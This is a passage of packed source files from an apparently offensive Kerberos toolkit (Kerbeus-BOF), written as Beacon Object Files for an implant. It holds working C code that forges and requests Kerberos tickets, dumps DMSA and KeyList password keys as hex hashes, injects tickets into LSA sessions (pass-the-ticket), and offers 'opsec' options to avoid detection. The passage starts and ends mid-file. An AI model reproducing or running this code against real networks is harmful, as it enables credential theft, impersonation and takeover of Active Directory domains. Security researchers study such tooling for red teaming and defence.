&reqAsn)) return TRUE;\n    if (AsnToBytesEncode(&reqAsn, reqBytesSize, reqBytes)) return TRUE;\n\n    if (opsec && s4uUser)\n        StrToUpper(domain);\n\n    return FALSE;\n}\n\nBOOL TGS(char* userName, char* domain, Ticket providedTicket, EncryptionKey clientKey, char* service, int requestEType, char* domainController, byte* tgs, BOOL opsec, BOOL ptt, BOOL u2u, char* targetDomain, char* targetUser, BOOL display, BOOL keyList, BOOL dmsa, BOOL enterprise, byte** retTgsBytes, int* retTgsBytesLength /*BOOL roast = FALSE, string asrepkey = \"\" */) {\n\n    if (keyList)\n        PRINT_OUT(\"\\n[*] Building KeyList TGS-REQ request for: '%s'\\n\", userName);\n    else if (dmsa)\n        PRINT_OUT(\"\\n[*] Building DMSA TGS-REQ request for '%s' from '%s'\\n\", targetUser, userName);\n    else if (service)\n        PRINT_OUT(\"\\n[*] Building TGS-REQ request for: '%s'\\n\", service);\n    else if (u2u)\n        PRINT_OUT(\"\\n[*] Building User-to-User TGS-REQ request for: '%s'\\n\", userName);\n    else\n        PRINT_OUT(\"\\n[*] Building TGS-REQ request\\n\");\n\n    if ( u2u && tgs && service ){\n        KRB_CRED kirbi_tgs = { 0 };\n        int bytesTgsSize = 0;\n        byte* bytesTgs = base64_decode(tgs, &bytesTgsSize);\n        AsnElt   asn_KRB_CRED = { 0 };\n        if (BytesToAsnDecode3(bytesTgs, bytesTgsSize, FALSE, &asn_KRB_CRED)) return TRUE;\n        if (AsnGetKrbCred(&(asn_KRB_CRED.sub[0]), &kirbi_tgs)) return TRUE;\n\n        service = kirbi_tgs.enc_part.ticket_info[0].pname.name_string[0];\n    }\n\n    byte* tgsBytes = NULL;\n    int\t  tgsBytesLength = 0;\n    if (NewTGS_REQ(userName, domain, service, providedTicket, clientKey, requestEType, tgs, opsec, u2u, FALSE, targetDomain, targetUser, keyList, FALSE, dmsa, enterprise, &tgsBytes, &tgsBytesLength)) return TRUE;\n\n    byte* response = NULL;\n    int   responseSize = 0;\n    sendBytes(domainController, \"88\", tgsBytes, tgsBytesLength, &response, &responseSize);\n    if (responseSize == 0)\n        return TRUE;\n\n    // decode the supplied bytes to an AsnElt object\n    AsnElt responseAsn = { 0 };\n    if (BytesToAsnDecode(response, responseSize, &responseAsn)) return TRUE;\n\n    if (responseAsn.tagValue == KERB_TGS_REP) {\n        if (display)\n            PRINT_OUT(\"[+] TGS request successful!\\n\");\n\n        // parse the response to an TGS-REP\n        TGS_REP rep = { 0 };\n        if (NewTGS_REP(responseAsn, &rep)) return TRUE;\n\n        byte* outBytes = NULL;\n        int  outBytesLength = 0;\n        if (decrypt(clientKey.key_value, clientKey.key_type, KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, rep.enc_part.cipher, rep.enc_part.cipher_size, &outBytes, &outBytesLength)) return TRUE;\n\n        AsnElt ae = { 0 };\n        if (BytesToAsnDecode(outBytes, outBytesLength, &ae)) return TRUE;\n\n        EncKDCRepPart encRepPart = { 0 };\n        if (AsnGetEncKDCRepPart(&(ae.sub[0]), &encRepPart)) return TRUE;\n\n        EncryptionKey keyListHash = { 0 };\n        if (keyList)\n            keyListHash = encRepPart.encryptedPaData.encryptionKey;\n\n        // if using /opsec and the ticket is for a server configuration for unconstrained delegation, request a forwardable TGT\n        if (opsec && ((encRepPart.flags & ok_as_delegate) != 0)) {\n            PRINT_OUT(\"[*] '/opsec' passed and service ticket has the 'ok-as-delegate' flag set, requesting a delegated TGT.\\n\");\n\n            int domain_length = my_strlen(domain) + 1;\n            char* krbtgt_service = MemAlloc(7 + domain_length);\n            MemCpy(krbtgt_service, \"krbtgt/\", 7);\n            MemCpy(krbtgt_service + 7, domain, domain_length);\n\n            byte* tgtBytes = NULL;\n            int\t  tgtBytesLength = 0;\n            if (NewTGS_REQ(userName, domain, krbtgt_service, providedTicket, clientKey, requestEType, tgs, opsec, FALSE, TRUE, NULL, NULL, keyList, FALSE, FALSE, FALSE, &tgtBytes, &tgtBytesLength)) return TRUE;\n\n            byte* tgt_response = NULL;\n            int   tgt_responseSize = 0;\n            sendBytes(domainController, \"88\", tgtBytes, tgtBytesLength, &tgt_response, &tgt_responseSize);\n        }\n\n        // build the final KRB-CRED structure\n        KRB_CRED cred = { 0 };\n        cred.pvno = 5;\n        cred.msg_type = 22;\n        cred.ticket_count = 1;\n        cred.tickets = MemAlloc(cred.ticket_count * sizeof(Ticket));\n        if (!cred.tickets) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        cred.tickets[0] = rep.ticket;\n\n        // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart\n        KrbCredInfo info = { 0 };\n\n        info.key = encRepPart.key;\n        if (my_copybuf(&(info.key.key_value), encRepPart.key.key_value, encRepPart.key.key_size)) return TRUE;\n\n        if (my_copybuf(&(info.prealm), rep.crealm, my_strlen(rep.crealm) + 1)) return TRUE;\n\n        info.pname = rep.cname;\n        info.pname.name_string = MemAlloc(info.pname.name_count * sizeof(void*));\n        for (int i = 0; i < info.pname.name_count; i++)\n            if (my_copybuf(&(info.pname.name_string[i]), rep.cname.name_string[i], my_strlen(rep.cname.name_string[i]) + 1)) return TRUE;\n\n        info.flags = encRepPart.flags;\n        info.starttime = encRepPart.starttime;\n        info.endtime = encRepPart.endtime;\n        info.renew_till = encRepPart.renew_till;\n\n        if (my_copybuf(&(info.srealm), rep.crealm, my_strlen(rep.crealm) + 1)) return TRUE;\n\n        info.sname = encRepPart.sname;\n        info.sname.name_string = MemAlloc(info.sname.name_count * sizeof(void*));\n        for (int i = 0; i < info.sname.name_count; i++)\n            if (my_copybuf(&(info.sname.name_string[i]), encRepPart.sname.name_string[i], my_strlen(encRepPart.sname.name_string[i]) + 1)) return TRUE;\n\n        cred.enc_part.ticket_count = 1;\n        cred.enc_part.ticket_info = MemAlloc(cred.enc_part.ticket_count * sizeof(KrbCredInfo));\n        if (!cred.enc_part.ticket_info) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        cred.enc_part.ticket_info[0] = info;\n\n        AsnElt asnCred = { 0 };\n        if (AsnKrbCredEncode(&cred, &asnCred)) return TRUE;\n\n        byte* kirbiBytes = NULL;\n        int   kirbiBytesSize = 0;\n        if (AsnToBytesEncode(&asnCred, &kirbiBytesSize, &kirbiBytes)) return TRUE;\n\n        char* ticket = base64_encode(kirbiBytes, kirbiBytesSize);\n\n        PRINT_OUT(\"[*] base64(ticket.kirbi):\\n\\n%s\\n\\n\", ticket);\n\n        if (display) {\n            DescribeTicket(ticket);\n            if (keyList) {\n                PRINT_OUT(\"  Password Hash            :  \");\n                if (keyListHash.key_size) {\n                    int hexHashLength = keyListHash.key_size * 2 + 1;\n                    char* hex_hash = MemAlloc(hexHashLength);\n                    my_tohex(keyListHash.key_value, keyListHash.key_size, hex_hash, hexHashLength);\n                    PRINT_OUT(\"[*]\\t aes256_cts_hmac_sha1 \\t: %s\\n\", hex_hash);\n                }\n                else {\n                    PRINT_OUT(\"None\");\n                }\n                PRINT_OUT(\"\\n\");\n            }\n            \n            if (dmsa && encRepPart.encryptedPaData.keytype == 171) {\n\n                DmsaKeyPackage* pkg = &(encRepPart.encryptedPaData.dmsaKeyPackage);\n                if (pkg->currentKeysCount > 0 && pkg->currentKeys) {\n                    PRINT_OUT(\"  [*] Current keys:\\n\");\n                    for (int k = 0; k < pkg->currentKeysCount; k++) {\n                        EncryptionKey* key = &(pkg->currentKeys[k]);\n                        if (key->key_value && key->key_size > 0) {\n                            int hexLen = key->key_size * 2 + 1;\n                            char* hexKey = MemAlloc(hexLen);\n                            if (hexKey) {\n                                my_tohex(key->key_value, key->key_size, &hexKey, hexLen);\n\n                                char* etypeName = \"unknown\";\n                                if (key->key_type == 18) etypeName = \"aes256_cts_hmac_sha1_96\";\n                                else if (key->key_type == 17) etypeName = \"aes128_cts_hmac_sha1_96\";\n                                else if (key->key_type == 23) etypeName = \"rc4_hmac               \";\n                                else if (key->key_type == 3) etypeName = \"des_cbc_md5            \";\n\n                                PRINT_OUT(\"      %s : %s\\n\", etypeName, hexKey);\n                            }\n                        }\n                    }\n                }\n\n                if (pkg->previousKeysCount > 0 && pkg->previousKeys) {\n                    PRINT_OUT(\"  [*] Previous keys:\\n\");\n                    for (int k = 0; k < pkg->previousKeysCount; k++) {\n                        EncryptionKey* key = &(pkg->previousKeys[k]);\n                        if (key->key_value && key->key_size > 0) {\n                            int hexLen = key->key_size * 2 + 1;\n                            char* hexKey = MemAlloc(hexLen);\n                            if (hexKey) {\n                                my_tohex(key->key_value, key->key_size, &hexKey, hexLen);\n\n                                char* etypeName = \"unknown\";\n                                if (key->key_type == 18) etypeName = \"aes256_cts_hmac_sha1_96\";\n                                else if (key->key_type == 17) etypeName = \"aes128_cts_hmac_sha1_96\";\n                                else if (key->key_type == 23) etypeName = \"rc4_hmac               \";\n                                else if (key->key_type == 3) etypeName = \"des_cbc_md5            \";\n\n                                PRINT_OUT(\"      %s : %s\\n\", etypeName, hexKey);\n                            }\n                        }\n                    }\n                }\n            }\n        }\n        if (ptt)\n            PTT(NULL, ticket);\n\n        *retTgsBytes = kirbiBytes;\n        *retTgsBytesLength = kirbiBytesSize;\n        return FALSE;\n    }\n    else if (responseAsn.tagValue == KERB_ERROR) {\n        uint error_code = 0;\n        if (AsnGetErrorCode(&(responseAsn.sub[0]), &error_code)) return TRUE;\n        PRINT_OUT(\"\\n\\t[x] Kerberos error : %d\\n\", error_code);\n//        PRINT_OUT(\"\\n\\t[x] Kerberos error : %s\\n\", lookupKrbErrorCode(error_code));\n    }\n    else {\n        PRINT_OUT(\"\\n[X] Unknown application tag: %d\\n\", responseAsn.tagValue);\n    }\n\n    return TRUE;\n}\n\nBOOL AskTGS(KRB_CRED kirbi, char* service, int requestEType, char* dc, byte* tgs, BOOL opsec, BOOL ptt, BOOL u2u, char* targetDomain, char* targetUser, BOOL display, BOOL keyList, BOOL dmsa, BOOL enterprise /*, BOOL roast = FALSE, string servicekey = \"\", string asrepkey = \"\" */) {\n    char* userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];\n    char* domain = kirbi.enc_part.ticket_info[0].prealm;\n    Ticket ticket = kirbi.tickets[0];\n    EncryptionKey clientKey = kirbi.enc_part.ticket_info[0].key;\n\n    int svcCount = 0;\n    char** services = my_strsplit( service, ',', &svcCount );\n\n    for (int i = 0; i < svcCount; i++) {\n        byte* tgsBytes = NULL;\n        int tgsBytesLength = 0;\n        TGS(userName, domain, ticket, clientKey, services[i], requestEType, dc, tgs, opsec, ptt, FALSE, targetDomain, targetUser, display, keyList, dmsa, enterprise, &tgsBytes, &tgsBytesLength /* roast, asrepkey */);\n    }\n    return FALSE;\n}\n\nvoid AskTGSExecute(byte* ticket, char* service, int requestEType, char* dc, byte* tgs, bool opsec, bool u2u, bool ptt, bool keyList, bool dmsa, bool enterprise, char* targetDomain, char* targetUser ) {\n    int bytesSize = 0;\n    byte* bytes = base64_decode(ticket, &bytesSize);\n\n    KRB_CRED kirbi = { 0 };\n    AsnElt   asn_KRB_CRED = { 0 };\n    if (BytesToAsnDecode3(bytes, bytesSize, FALSE, &asn_KRB_CRED)) return;\n\n    AsnGetKrbCred(&(asn_KRB_CRED.sub[0]), &kirbi);\n\n    AskTGS( kirbi, service, requestEType, dc, tgs, opsec, ptt, u2u, targetDomain, targetUser, TRUE, keyList, dmsa, enterprise );\n}\n\nvoid ASK_TGS_RUN( PCHAR Buffer, DWORD Length ) {\n    PRINT_OUT(\"[*] Action: Ask TGS\\r\\n\");\n\n    char* dc           = NULL;\n    char* domain       = NULL;\n    char* service      = NULL;\n    byte* ticket       = NULL;\n    char* s_enctype    = NULL;\n    byte* tgs          = NULL;\n    char* targetDomain = NULL;\n    char* targetUser   = NULL;\n    int   encType      = subkey_keymaterial;\n    bool  ptt          = FALSE;\n    bool  opsec        = FALSE;\n    bool  keyList      = FALSE;\n    bool  u2u          = FALSE;\n    bool  dmsa         = FALSE;\n    bool  enterprise   = FALSE;\n\n    for (int i = 0; i < Length; i++) {\n        i += GetStrParam(Buffer + i, Length - i, \"/service:\", 9, &service );\n        i += GetStrParam(Buffer + i, Length - i, \"/ticket:\", 8, &ticket );\n        i += GetStrParam(Buffer + i, Length - i, \"/domain:\", 8, &domain );\n        i += GetStrParam(Buffer + i, Length - i, \"/dc:\", 4, &dc );\n        i += GetStrParam(Buffer + i, Length - i, \"/tgs:\", 5, &tgs );\n        i += GetStrParam(Buffer + i, Length - i, \"/targetdomain:\", 14, &targetDomain );\n        i += GetStrParam(Buffer + i, Length - i, \"/targetuser:\", 12, &targetUser );\n        i += GetStrParam(Buffer + i, Length - i, \"/enctype:\", 9, &s_enctype );\n        i += IsSetParam(Buffer + i, Length - i, \"/ptt\", 4, &ptt );\n        i += IsSetParam(Buffer + i, Length - i, \"/opsec\", 6, &opsec );\n        i += IsSetParam(Buffer + i, Length - i, \"/keylist\", 8, &keyList );\n        i += IsSetParam(Buffer + i, Length - i, \"/u2u\", 4, &u2u );\n        i += IsSetParam(Buffer + i, Length - i, \"/dmsa\", 5, &dmsa );\n        i += IsSetParam(Buffer + i, Length - i, \"/enterprise\", 11, &enterprise );\n    }\n\n    if( s_enctype ) {\n        if (my_strcmp(s_enctype, \"rc4\") == 0)\n            encType = rc4_hmac;\n        else if (my_strcmp(s_enctype, \"aes256\") == 0)\n            encType = aes256_cts_hmac_sha1;\n    }\n\n    GetDomainInfo(&domain, &dc);\n    if (domain == NULL || dc == NULL) {\n        PRINT_OUT(\"[X] Could not retrieve domain information!\\n\\n\");\n        return;\n    }\n\n    if ( service == NULL  && !u2u ) {\n        PRINT_OUT(\"[X] One or more '/service:sname/server.domain.com' specifications are needed\\n\");\n        return;\n    }\n\n    if ( ticket )\n        AskTGSExecute(ticket, service, encType, dc, tgs, opsec, u2u, ptt, keyList, dmsa, enterprise, targetDomain, targetUser);\n    else\n        PRINT_OUT(\"\\n[X] A /ticket:X needs to be supplied!\\n\");\n}\n\nVOID go( IN PCHAR Buffer, IN ULONG Length ) {\n    INIT_BOF();\n\n    datap parser;\n    BeaconDataParse(&parser, Buffer, Length);\n    DWORD PARAM_SIZE = 0;\n    PBYTE PARAM = BeaconDataExtract(&parser, &PARAM_SIZE);\n\n    if( LoadFunc() )\n        PRINT_OUT(\"%s\\n\", \"Modules not loaded\");\n    else\n        ASK_TGS_RUN( PARAM, PARAM_SIZE );\n\n    FreeBank();\n\n    END_BOF();\n}"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/asktgt/asktgt.c",
    "content": "#include \"_include/asn_decode.c\"\n#include \"_include/asn_encode.c\"\n#include \"_include/crypt_b64.c\"\n#include \"_include/crypt_dec.c\"\n#include \"_include/crypt_key.c\"\n#include \"_include/connection.c\"\n\nHANDLE GetCurrentToken(DWORD DesiredAccess) {\n    HANDLE hCurrentToken = NULL;\n    if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), DesiredAccess, FALSE, &hCurrentToken))\n        if (hCurrentToken == NULL && KERNEL32$GetLastError() == ERROR_NO_TOKEN)\n            if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), DesiredAccess, &hCurrentToken))\n                return NULL;\n    return hCurrentToken;\n}\n\nLUID GetCurrentLUID(HANDLE TokenHandle) {\n    TOKEN_STATISTICS tokenStats;\n    DWORD tokenSize;\n    if (!ADVAPI32$GetTokenInformation(TokenHandle, TokenStatistics, &tokenStats, sizeof(tokenStats), &tokenSize))\n        return (LUID) { 0 };\n    return tokenStats.AuthenticationId;\n}\n\nBOOL IsSystem(HANDLE TokenHandle) {\n    UCHAR bTokenUser[sizeof(TOKEN_USER) + 8 + 4 * SID_MAX_SUB_AUTHORITIES];\n    PTOKEN_USER pTokenUser = (PTOKEN_USER)bTokenUser;\n    ULONG cbTokenUser;\n    SID_IDENTIFIER_AUTHORITY siaNT = SECURITY_NT_AUTHORITY;\n    PSID pSystemSid = NULL;\n    BOOL bSystem = FALSE;\n\n    // Try to open the token of the current thread first\n    if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), TOKEN_QUERY, TRUE, &TokenHandle)) {\n        // If there is no thread token, fall back to the process token\n        if (KERNEL32$GetLastError() == ERROR_NO_TOKEN) {\n            if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_QUERY, &TokenHandle)) {\n                return FALSE;\n            }\n        } else {\n            return FALSE;\n        }\n    }\n\n    if (!ADVAPI32$GetTokenInformation(TokenHandle, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser)) {\n        return FALSE;\n    }\n\n    if (!ADVAPI32$AllocateAndInitializeSid(&siaNT, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid)) {\n        return FALSE;\n    }\n\n    bSystem = ADVAPI32$EqualSid(pTokenUser->User.Sid, pSystemSid);\n\n    ADVAPI32$FreeSid(pSystemSid);\n\n    return bSystem;\n}\n\nBOOL GetLsaHandle(HANDLE hToken, BOOL highIntegrity, HANDLE* hLsa) {\n    HANDLE hLsaLocal = NULL;\n    ULONG  mode = 0;\n    bool   status = true;\n    if (highIntegrity) {\n        STRING lsaString = (STRING){ .Length = 8, .MaximumLength = 9, .Buffer = \"Winlogon\" };\n        status = SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode);\n    }\n    else {\n        status = SECUR32$LsaConnectUntrusted(&hLsaLocal);\n    }\n    *hLsa = hLsaLocal;\n    return status;\n}\n\nint my_isdigit(int c) {\n    return (c >= '0' && c <= '9');\n}\n\nint my_islower(int c) {\n    return (c >= 'a' && c <= 'z');\n}\n\nlong int my_strtol(const char* str, char** endptr, int base) {\n    long int result = 0;\n    int sign = 1;\n\n    if (*str == '-' || *str == '+') {\n        sign = (*str == '-') ? -1 : 1;\n        str++;\n    }\n\n    while (my_isdigit(*str) ||\n           (base == 16 && (*str >= 'a' && *str <= 'f')) ||\n           (base == 16 && (*str >= 'A' && *str <= 'F'))) {\n        int digit = 0;\n        if (my_isdigit(*str)) {\n            digit = *str - '0';\n        }\n        else if (base == 16) {\n            digit = (my_islower(*str) ? (*str - 'a' + 10) : (*str - 'A' + 10));\n        }\n\n        if (digit >= base)\n            break;\n\n        if (result > (LONG_MAX - digit) / base) {\n            if (sign == 1)\n                return LONG_MAX;\n            else\n                return LONG_MIN;\n        }\n\n        result = result * base + digit;\n        str++;\n    }\n\n    if (endptr != NULL)\n        *endptr = (char*)str;\n\n    return result * sign;\n}\n\nvoid PTT(char* luid, byte* ticket) {\n    HANDLE hToken = GetCurrentToken(TOKEN_QUERY);\n    LUID   currentLuid = GetCurrentLUID(hToken);\n    LUID   targetLuid = { 0 };\n    bool   IsHighIntegrity = IsSystem(hToken);\n\n    if (luid) {\n        targetLuid.LowPart = my_strtol(luid, NULL, 16);\n        if (targetLuid.LowPart == 0 || targetLuid.LowPart == LONG_MAX || targetLuid.LowPart == LONG_MIN) {\n            PRINT_OUT(\"[x] Invalid luid\\n\");\n            return;\n        }\n    }\n    else {\n        targetLuid = currentLuid;\n    }\n\n    if (!IsHighIntegrity && currentLuid.LowPart != targetLuid.LowPart) {\n        PRINT_OUT(\"[X] You need to be in SYSTEM integrity.\\n\");\n        return;\n    }\n\n    if (currentLuid.LowPart != targetLuid.LowPart)\n        IsHighIntegrity = false;\n\n    HANDLE hLsa;\n    if (GetLsaHandle(hToken, IsHighIntegrity, &hLsa)) return;\n\n    ULONG authPackage;\n    LSA_STRING krbAuth = { .Buffer = \"kerberos\",.Length = 8,.MaximumLength = 9 };\n    if (SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage) == 0) {\n\n        int decode_ticket_size = 0;\n        byte* decode_ticket = base64_decode(ticket, &decode_ticket_size);\n\n        int submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + decode_ticket_size;\n        KERB_SUBMIT_TKT_REQUEST* submitRequest = MemAlloc(submitSize);\n\n        submitRequest->MessageType = KerbSubmitTicketMessage;\n        submitRequest->KerbCredSize = decode_ticket_size;\n        submitRequest->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);\n        if (IsHighIntegrity)\n            submitRequest->LogonId = targetLuid;\n        else\n            submitRequest->LogonId = (LUID){ 0 };\n\n        MemCpy((PBYTE)submitRequest + submitRequest->KerbCredOffset, decode_ticket, decode_ticket_size);\n\n        NTSTATUS protocolStatus = 0;\n        ULONG    responseSize = 0;\n        void* response = 0;\n        if (SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, submitRequest, submitSize, &response, &responseSize, &protocolStatus) || protocolStatus)\n            PRINT_OUT(\"\\n[X] Ticket not imported.\\n\");\n        else\n            PRINT_OUT(\"\\n[+] Ticket successfully imported.\\n\");\n    }\n    SECUR32$LsaDeregisterLogonProcess(hLsa);\n}\n\n\n\nBOOL NewAS_REP(AsnElt asn_AS_REP, AS_REP* as_rep) {\n    // AS-REP::= [APPLICATION 11] KDC-REQ\n    if ((asn_AS_REP.subCount != 1) || (asn_AS_REP.sub[0].tagValue != 16)) {\n        PRINT_OUT(\"First AS-REP sub should be a sequence\");\n        return TRUE;\n    }\n\n    AsnElt* kdc_rep = asn_AS_REP.sub[0].sub;\n\n    for (int i = 0; i < asn_AS_REP.sub[0].subCount; i++) {\n        int tagValue = kdc_rep[i].tagValue;\n        if ( tagValue == 0 ) {\n            if (AsnGetInteger(&(kdc_rep[i].sub[0]), &(as_rep->pvno))) return TRUE;\n        }\n        if ( tagValue == 1 ) {\n            if (AsnGetInteger(&(kdc_rep[i].sub[0]), &(as_rep->msg_type)))return TRUE;\n        }\n        if ( tagValue == 2 ) {\n            as_rep->pa_data_count = kdc_rep[i].subCount;\n            as_rep->pa_data = MemAlloc(as_rep->pa_data_count);\n            for (int j = 0; j < as_rep->pa_data_count; j++) {\n                PA_DATA padata = { 0 };\n                if (AsnGetPaData(&(kdc_rep[i].sub[j].sub[0]), &padata)) return TRUE;\n                as_rep->pa_data[j] = padata;\n            }\n        }\n        if ( tagValue == 3 ) {\n                if (AsnGetString(&(kdc_rep[i].sub[0]), &(as_rep->crealm))) return TRUE;\n        }\n        if ( tagValue == 4 ) {\n                if (AsnGetPrincipalName(&(kdc_rep[i].sub[0]), &(as_rep->cname))) return TRUE;\n        }\n        if ( tagValue == 5 ) {\n            if (kdc_rep[i].sub[0].subCount)\n                if (AsnGetTicket(&(kdc_rep[i].sub[0].sub[0]), &(as_rep->ticket))) return TRUE;\n        }\n        if ( tagValue == 6 ) {\n            if (AsnGetEncryptedData(&(kdc_rep[i].sub[0]), &(as_rep->enc_part))) return TRUE;\n        }\n    }\n    kdc_rep = NULL;\n    return FALSE;\n}\n\nBOOL HandleASREP(AsnElt responseAsn, EncryptionKey encKey, byte* serviceKey, BOOL getCredentials, byte* dcIP, byte** ticket) {\n    AS_REP as_rep = { 0 };\n    if (NewAS_REP(responseAsn, &as_rep)) return TRUE;\n\n    byte* key = NULL;\n    size_t keySize;\n    byte* result;\n    size_t resultSize;\n    key = encKey.key_value;\n    if (as_rep.enc_part.etype != encKey.key_type) {\n        PRINT_OUT(\"[!] Warning: Supplied encyption key type but AS-REP contains data encrypted\");\n        return TRUE;\n    }\n\n    int key_usage = 0;\n    if (as_rep.enc_part.etype == aes128_cts_hmac_sha1 || as_rep.enc_part.etype == aes256_cts_hmac_sha1) {\n        key_usage = 3;\n    }\n    else if (as_rep.enc_part.etype == rc4_hmac || as_rep.enc_part.etype == des_cbc_md5) {\n        key_usage = 8;\n    }\n    else {\n        PRINT_OUT(\"[X] Encryption type \\\"%d\\\" not currently supported\", as_rep.enc_part.etype);\n        return TRUE;\n    }\n\n    if (decrypt(key, encKey.key_type, key_usage, as_rep.enc_part.cipher, as_rep.enc_part.cipher_size, &result, &resultSize))return TRUE;\n\n    AsnElt ae = { 0 };\n    if (BytesToAsnDecode(result, resultSize, &ae)) return TRUE;\n    if (ae.tagValue != 25) {\n        PRINT_OUT(\"[X] Failed to decrypt TGT using supplied password/hash. If this TGT was requested with no preauth then the password supplied may be incorrect or the data was encrypted with a different type of encryption than expected\");\n        return TRUE;\n    }\n\n    EncKDCRepPart encRepPart = { 0 };\n    if (AsnGetEncKDCRepPart(&(ae.sub[0]), &encRepPart)) return TRUE;\n\n    KRB_CRED cred = { 0 };\n    cred.pvno = 5;\n    cred.msg_type = 22;\n    cred.ticket_count = 1;\n    cred.tickets = MemAlloc(sizeof(Ticket) * cred.ticket_count);\n    cred.tickets[0] = as_rep.ticket;\n\n    KrbCredInfo info = { 0 };\n    info.key = encRepPart.key;\n    info.flags = encRepPart.flags;\n    info.starttime = encRepPart.starttime;\n    info.endtime = encRepPart.endtime;\n    info.renew_till = encRepPart.renew_till;\n    info.pname = as_rep.cname;\n    info.sname = encRepPart.sname;\n\n    my_copybuf(&(info.prealm), encRepPart.realm, my_strlen(encRepPart.realm) + 1);\n    my_copybuf(&(info.srealm), encRepPart.realm, my_strlen(encRepPart.realm) + 1);\n\n    cred.enc_part.ticket_count = 1;\n    cred.enc_part.ticket_info = MemAlloc(sizeof(KrbCredInfo) * cred.enc_part.ticket_count);\n    cred.enc_part.ticket_info[0] = info;\n\n    AsnElt asnKirbi = { 0 };\n    if (AsnKrbCredEncode(&cred, &asnKirbi)) return TRUE;\n\n    int kirbiBytesSize = 0;\n    byte* kirbiBytes = 0;\n    if (AsnToBytesEncode(&asnKirbi, &kirbiBytesSize, &kirbiBytes)) return TRUE;\n\n    *ticket = base64_encode(kirbiBytes, kirbiBytesSize);\n    return FALSE;\n}\n\nBOOL NewAS_REQ( char* pcUsername, char* pcDomain, EncryptionKey encKey, BOOL opsec, BOOL bPac, BOOL is_nopreauth, char* service, AS_REQ* as_req ) {\n    BOOL status = FALSE;\n\n    as_req->pvno = 5;\n    as_req->msg_type = KERB_AS_REQ;\n\n    as_req->req_body.kdc_options = FORWARDABLE | RENEWABLE | RENEWABLEOK;\n    as_req->req_body.till = 1 * 3600;   // valid for 1h\n    ADVAPI32$SystemFunction036(&(as_req->req_body.nonce), 4);\n    if (my_copybuf(&as_req->req_body.realm, pcDomain, my_strlen(pcDomain) + 1)) return TRUE;\n\n    as_req->req_body.cname.name_type = PRINCIPAL_NT_PRINCIPAL;\n    as_req->req_body.cname.name_count = 1;\n    as_req->req_body.cname.name_string = MemAlloc(sizeof(void*) * as_req->req_body.cname.name_count);\n    if (!as_req->req_body.cname.name_string) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n    if (my_copybuf(&(as_req->req_body.cname.name_string[0]), pcUsername, my_strlen(pcUsername) + 1)) return TRUE;\n\n    if (service) {\n\n        int partsCount = 1;\n        int index = 0;\n        while (service[index]) {\n            if (service[index] == '/')\n                partsCount++;\n            index++;\n        }\n\n        as_req->req_body.sname.name_count  = partsCount;\n        as_req->req_body.sname.name_string = MemAlloc(sizeof(void*) * partsCount);\n        as_req->req_body.sname.name_type   = (partsCount > 1) ? PRINCIPAL_NT_SRV_INST : PRINCIPAL_NT_PRINCIPAL;\n\n        int partIndex = 0;\n        int startIndex = 0;\n        index = 0;\n        while (service[index] && partIndex < partsCount) {\n            if (service[index] == '/') {\n                int partLen = index - startIndex;\n                if (my_copybuf(&(as_req->req_body.sname.name_string[partIndex]), service + startIndex, partLen + 1)) return TRUE;\n                as_req->req_body.sname.name_string[partIndex][partLen] = 0;\n                startIndex = index + 1;\n                partIndex++;\n            }\n            index++;\n        }\n        if (my_copybuf(&(as_req->req_body.sname.name_string[partIndex]), service + startIndex, index - startIndex + 1)) return TRUE;\n    }\n    else {\n        as_req->req_body.sname.name_count = 2;\n        as_req->req_body.sname.name_string = MemAlloc(sizeof(void*) * 2);\n        as_req->req_body.sname.name_type = PRINCIPAL_NT_SRV_INST;\n        if (my_copybuf(&(as_req->req_body.sname.name_string[0]), \"krbtgt\", 7)) return TRUE;\n        if (my_copybuf(&(as_req->req_body.sname.name_string[1]), pcDomain, my_strlen(pcDomain) + 1)) return TRUE;\n    }\n\n    int pa_index = 0;\n    if (is_nopreauth) {\n        as_req->pa_data_count = 1;\n        as_req->pa_data = MemAlloc(sizeof(PA_DATA) * as_req->pa_data_count);\n        if (!as_req->pa_data) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n    }\n    else {\n        as_req->pa_data_count = 2;\n        as_req->pa_data = MemAlloc(sizeof(PA_DATA) * as_req->pa_data_count);\n        if (!as_req->pa_data) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        if (AsnEncTimeStampToPaDataEncode(encKey, &(as_req->pa_data[0]))) return TRUE;\n        pa_index++;\n    }\n    as_req->pa_data[pa_index].type = PADATA_PA_PAC_REQUEST;\n    as_req->pa_data[pa_index].value = MemAlloc(sizeof(KERB_PA_PAC_REQUEST));\n    if (!as_req->pa_data[pa_index].value) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n    ((KERB_PA_PAC_REQUEST*)as_req->pa_data[pa_index].value)->include_pac = bPac;\n\n    if (opsec) {\n        as_req->req_body.rtime = 1 * 3600;   // valid for 1h\n        as_req->req_body.kdc_options |= CANONICALIZE;\n\n        as_req->req_body.etypes_count = 6;\n        as_req->req_body.etypes = MemAlloc(sizeof(int) * as_req->req_body.etypes_count);\n        if (!as_req->req_body.etypes) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        as_req->req_body.etypes[0] = aes256_cts_hmac_sha1;\n        as_req->req_body.etypes[1] = aes128_cts_hmac_sha1;\n        as_req->req_body.etypes[2] = rc4_hmac;\n        as_req->req_body.etypes[3] = 